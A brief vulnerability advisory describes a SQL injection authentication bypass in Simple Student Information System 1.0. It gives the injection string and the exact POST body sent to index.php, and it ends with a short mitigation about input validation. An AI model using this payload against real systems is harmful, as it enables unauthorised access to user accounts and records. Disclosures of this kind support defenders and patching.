Simple Student Information System 1.0 – SQL Injection (Authentication Bypass)

A SQL injection vulnerability exists in Simple Student Information System 1.0, which allows an attacker to bypass authentication by entering 'or''=' as the username and password. This can be done by sending a POST request with the payload 'username='or''='&password='or''='&login=Log+In' to the index.php page.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in a SQL query.
